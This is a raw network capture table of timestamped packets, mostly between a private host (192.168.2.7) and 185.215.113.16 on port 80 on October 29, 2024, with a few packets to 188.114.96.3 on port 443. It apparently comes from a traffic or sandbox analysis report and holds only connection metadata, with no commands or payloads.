Oct 29, 2024 20:36:28.106287956 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:28.107336044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107382059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107393980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107407093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107418060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107428074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107430935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107450962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107500076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107677937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107682943 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:28.107690096 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:28.107703924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107712984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.107718945 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107734919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107757092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.107940912 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:28.109148979 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:28.109323025 CET	49988	443	192.168.2.7	188.114.96.3
Oct 29, 2024 20:36:28.109344959 CET	443	49988	188.114.96.3	192.168.2.7
Oct 29, 2024 20:36:28.143737078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.143748999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.143759966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.143806934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.143829107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.143841028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.143851042 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.143882036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.144123077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.144134998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.144144058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.144169092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.144206047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.182553053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.182564974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.182575941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.182643890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.182666063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215111971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215131044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215142012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215153933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215167046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215215921 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215246916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215246916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215442896 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215460062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215471029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215481997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215487957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215527058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215536118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.215554953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.215595961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216224909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216272116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216275930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216312885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216531038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216542959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216552973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216573000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216604948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216897011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.216942072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.216964006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.217006922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.246761084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.246773958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.246786118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.246809006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.246846914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.259900093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.259943008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.259953976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.259999037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.259999037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.260011911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.260025024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.260036945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.260057926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.260083914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.260284901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.260327101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.260421038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.260462046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.300728083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.300743103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.300753117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.300822973 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.300858021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.332513094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332524061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332611084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.332689047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332741976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332753897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332781076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.332829952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.332829952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.332829952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.332829952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333102942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333152056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333213091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333329916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333333969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333379984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333408117 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333420038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333431005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333451986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333477020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333826065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333853960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333864927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.333880901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.333899975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.334381104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.334393024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.334402084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.334434986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.334446907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.365398884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365461111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365472078 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365572929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.365572929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.365572929 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.365606070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365618944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365628958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.365652084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.365696907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378179073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378199100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378209114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378257036 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378279924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378294945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378307104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378339052 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378365993 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378420115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378462076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378619909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378667116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.378669024 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.378711939 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.419034958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.419141054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.419147015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.419158936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.419171095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.419188976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.419218063 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451180935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451195955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451209068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451222897 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451234102 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451263905 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451286077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451339006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451371908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451384068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451384068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451404095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451419115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451484919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451505899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.451527119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.451639891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.452038050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.452049971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.452064991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.452079058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.452094078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.452960968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.452974081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.452986002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.453001022 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.453015089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.453059912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.453072071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.453099012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.453125000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483484030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483527899 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483532906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483545065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483565092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483584881 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483733892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483771086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483781099 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483782053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.483800888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.483820915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496471882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496484995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496496916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496546030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496570110 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496617079 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496629000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496650934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496665955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496822119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496834040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496866941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496877909 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.496900082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.496944904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.538014889 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.538028955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.538039923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.538093090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.538139105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569364071 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569387913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569399118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569417953 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569442034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569477081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569515944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569525003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569526911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569550037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569567919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569617033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569628954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569638014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.569663048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.569688082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.570314884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.570364952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.570384979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.570396900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.570406914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.570429087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.570457935 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.571002007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.571043015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.571050882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.571054935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.571080923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.571098089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.571115017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.571127892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.571161032 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.601702929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601716042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601726055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601777077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.601794004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.601799965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601811886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601823092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.601836920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.601861954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.615263939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615338087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615349054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615351915 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.615370035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615381002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615391970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.615431070 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.615468025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.615468025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.656049013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.656063080 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.656074047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.656200886 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.687707901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687731028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687741995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687855959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687868118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687894106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687905073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.687933922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.687978029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.687984943 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688034058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.688465118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688476086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688486099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688512087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.688541889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.688554049 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688565969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.688602924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.688628912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689150095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689162016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689177990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689198971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689228058 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689426899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689474106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689534903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689547062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689557076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689579010 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689596891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.689611912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.689636946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.719815016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.719911098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.719909906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.719950914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.719964027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.719989061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.719989061 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.720009089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.720014095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.720046043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733438969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733458996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733486891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733498096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733505011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733532906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733546019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733547926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733565092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733594894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733611107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733623028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.733643055 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.733666897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:28.774149895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.774163961 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.774173975 CET	80	49986	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:28.774279118 CET	49986	80	192.168.2.7	185.215.113.16
